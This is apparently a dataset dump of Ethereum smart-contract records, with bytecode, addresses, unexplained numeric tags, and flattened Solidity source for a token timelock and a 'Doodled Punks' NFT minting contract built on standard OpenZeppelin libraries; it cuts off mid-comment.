5b6000819050919050565b82818337600083830152505050565b60005b83811015613e44578082015181840152602081019050613e29565b83811115613e53576000848401525b50505050565b60006002820490506001821680613e7157607f821691505b60208210811415613e8557613e84613f94565b5b50919050565b613e9482614064565b810181811067ffffffffffffffff82111715613eb357613eb2614021565b5b80604052505050565b6000613ec782613e0d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613efa57613ef9613f36565b5b600182019050919050565b6000613f1082613e0d565b9150613f1b83613e0d565b925082613f2b57613f2a613f65565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f53616c65206d7573742062652061637469766520746f206d696e74204e69634d60008201527f6574617300000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f53616c6520776f756c6420657863656564206d617820737570706c7900000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f43616e206f6e6c79206d696e74203120746f6b656e7320617420612074696d65600082015250565b7f53616c6520776f756c6420657863656564206d61782062616c616e6365000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f4e6f7420656e6f7567682065746865722073656e740000000000000000000000600082015250565b61466781613da3565b811461467257600080fd5b50565b61467e81613db5565b811461468957600080fd5b50565b61469581613dc1565b81146146a057600080fd5b50565b6146ac81613e0d565b81146146b757600080fd5b5056fea26469706673582212203309964e0a7465d1bba3b4aa9a58c67089c2799ba947a178c3aa765c35afbbab64736f6c63430008070033
[ 0, 5 ]
0xF21Cf07fbC926F7Ef1C0Cb9171C16e5227BA4eac
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./SafeERC20.sol"; /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". */ contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private immutable _token; // beneficiary of tokens after they are released address private immutable _beneficiary; // timestamp when token release is enabled uint256 private immutable _releaseTime; constructor( IERC20 token_, address beneficiary_, uint256 releaseTime_ ) { require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time"); _token = token_; _beneficiary = beneficiary_; _releaseTime = releaseTime_; } /** * @return the token being held. */ function token() public view virtual returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view virtual returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view virtual returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time"); uint256 amount = token().balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); token().safeTransfer(beneficiary(), amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806338af3eed1461005157806386d1a69f1461006f578063b91d400114610079578063fc0c546a14610097575b600080fd5b6100596100b5565b6040516100669190610756565b60405180910390f35b6100776100dd565b005b61008161023a565b60405161008e9190610877565b60405180910390f35b61009f610262565b6040516100ac919061079a565b60405180910390f35b60007f0000000000000000000000007978b4d55aaa45b3420ea5d18274d7a82ddc375c905090565b6100e561023a565b421015610127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161011e906107d7565b60405180910390fd5b6000610131610262565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101699190610756565b60206040518083038186803b15801561018157600080fd5b505afa158015610195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b991906105d0565b9050600081116101fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101f590610857565b60405180910390fd5b6102376102096100b5565b82610212610262565b73ffffffffffffffffffffffffffffffffffffffff1661028a9092919063ffffffff16565b50565b60007f000000000000000000000000000000000000000000000000000000006185a7ea905090565b60007f0000000000000000000000001f1641373c161bd93358f680294332d97973d73c905090565b61030b8363a9059cbb60e01b84846040516024016102a9929190610771565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610310565b505050565b6000610372826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166103d79092919063ffffffff16565b90506000815111156103d2578080602001905181019061039291906105a7565b6103d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c890610837565b60405180910390fd5b5b505050565b60606103e684846000856103ef565b90509392505050565b606082471015610434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906107f7565b60405180910390fd5b61043d85610503565b61047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610817565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516104a5919061073f565b60006040518083038185875af1925050503d80600081146104e2576040519150601f19603f3d011682016040523d82523d6000602084013e6104e7565b606091505b50915091506104f7828286610516565b92505050949350505050565b600080823b905060008111915050919050565b6060831561052657829050610576565b6000835111156105395782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d91906107b5565b60405180910390fd5b9392505050565b60008151905061058c81610ad9565b92915050565b6000815190506105a181610af0565b92915050565b6000602082840312156105b957600080fd5b60006105c78482850161057d565b91505092915050565b6000602082840312156105e257600080fd5b60006105f084828501610592565b91505092915050565b610602816108c4565b82525050565b600061061382610892565b61061d81856108a8565b935061062d818560208601610930565b80840191505092915050565b6106428161090c565b82525050565b60006106538261089d565b61065d81856108b3565b935061066d818560208601610930565b61067681610963565b840191505092915050565b600061068e6032836108b3565b915061069982610974565b604082019050919050565b60006106b16026836108b3565b91506106bc826109c3565b604082019050919050565b60006106d4601d836108b3565b91506106df82610a12565b602082019050919050565b60006106f7602a836108b3565b915061070282610a3b565b604082019050919050565b600061071a6023836108b3565b915061072582610a8a565b604082019050919050565b61073981610902565b82525050565b600061074b8284610608565b915081905092915050565b600060208201905061076b60008301846105f9565b92915050565b600060408201905061078660008301856105f9565b6107936020830184610730565b9392505050565b60006020820190506107af6000830184610639565b92915050565b600060208201905081810360008301526107cf8184610648565b905092915050565b600060208201905081810360008301526107f081610681565b9050919050565b60006020820190508181036000830152610810816106a4565b9050919050565b60006020820190508181036000830152610830816106c7565b9050919050565b60006020820190508181036000830152610850816106ea565b9050919050565b600060208201905081810360008301526108708161070d565b9050919050565b600060208201905061088c6000830184610730565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006108cf826108e2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109178261091e565b9050919050565b6000610929826108e2565b9050919050565b60005b8381101561094e578082015181840152602081019050610933565b8381111561095d576000848401525b50505050565b6000601f19601f8301169050919050565b7f546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206260008201527f65666f72652072656c656173652074696d650000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c6560008201527f6173650000000000000000000000000000000000000000000000000000000000602082015250565b610ae2816108d6565b8114610aed57600080fd5b50565b610af981610902565b8114610b0457600080fd5b5056fea26469706673582212200d8c983016d67a4c915b7b62779d87a392c80894b0b1676e3b1ea18e65e9579d64736f6c63430008040033
[ 38 ]
0xf21d1B31b15282592Ff0E48f7b474B57AE418361
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./ERC721Enum.sol"; contract DoodledPunks is ERC721Enum, Ownable, PaymentSplitter, Pausable, ReentrancyGuard { using Strings for uint256; string public baseURI; uint256 public cost = 0.1 ether; uint256 public maxSupply = 2500; uint256 public maxMint = 5; bool public status = false; address[] private addressList = [ 0xBA21fdeabefAFEd10393B1DD769E6102872c3245, 0x02Fe0168167e16Fa458498fb0b6E5e14041988a8, 0x026f6eF045c8E0F8210c97f6A870DB8697D0e9AF ]; uint[] private shareList = [30, 30, 30]; constructor() ERC721S("Doodled Punks", "DPunk") PaymentSplitter( addressList, shareList){ setBaseURI(""); } function _baseURI() internal view virtual returns (string memory) { return baseURI; } function mint(uint256 _mintAmount) public payable nonReentrant{ uint256 s = totalSupply(); require(status, "Contract Not Enabled" ); require(_mintAmount > 0, "Cant mint 0" ); require(_mintAmount <= maxMint, "Cant mint more then maxmint" ); require(s + _mintAmount <= maxSupply, "Cant go over supply" ); require(msg.value >= cost * _mintAmount); for (uint256 i = 0; i < _mintAmount; ++i) { _safeMint(msg.sender, s + i, ""); } delete s; } function gift(uint[] calldata quantity, address[] calldata recipient) external onlyOwner{ require(quantity.length == recipient.length, "Provide quantities and recipients" ); uint totalQuantity = 0; uint256 s = totalSupply(); for(uint i = 0; i < quantity.length; ++i){ totalQuantity += quantity[i]; } require( s + totalQuantity <= maxSupply, "Too many" ); delete totalQuantity; for(uint i = 0; i < recipient.length; ++i){ for(uint j = 0; j < quantity[i]; ++j){ _safeMint( recipient[i], s++, "" ); } } delete s; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: Nonexistent token"); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString())) : ""; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner { maxMint = _newMaxMintAmount; } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner { maxSupply = _newMaxSupply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setSaleStatus(bool _status) public onlyOwner { status = _status; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } function withdrawSplit() public onlyOwner { for (uint256 sh = 0; sh < addressList.length; sh++) { address payable wallet = payable(addressList[sh]); release(wallet); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Address.sol"; import "../utils/Context.sol"; import "../utils/math/SafeMath.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + _totalReleased; uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account]; require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] = _released[account] + payment; _totalReleased = _totalReleased + payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full 